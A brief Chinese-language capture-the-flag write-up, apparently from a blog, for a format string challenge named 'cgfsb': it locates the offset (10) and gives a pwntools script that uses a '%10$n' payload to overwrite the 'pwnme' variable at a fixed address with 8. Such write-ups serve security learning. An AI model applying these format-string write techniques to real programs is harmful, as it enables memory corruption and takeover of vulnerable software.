格式化字符串修改任意地址的值,首先找偏移
image.png偏移为10,接下来就可以修改pwnme的值为8
exp:
#10
from pwn import *
p = process('./cgfsb')
# p = remote("111.198.29.45","30991")
pwnme = 0x804a068
p.recvuntil(':')
p.sendline("n0va")
p.recvuntil(":")
payload = p32(pwnme) + 'aaaa' + '%10$n'
# payload = 'AAAA'
gdb.attach(p,"b *0x080486C1\nc")
pause()
p.sendline(payload)
p.interactive()
网友评论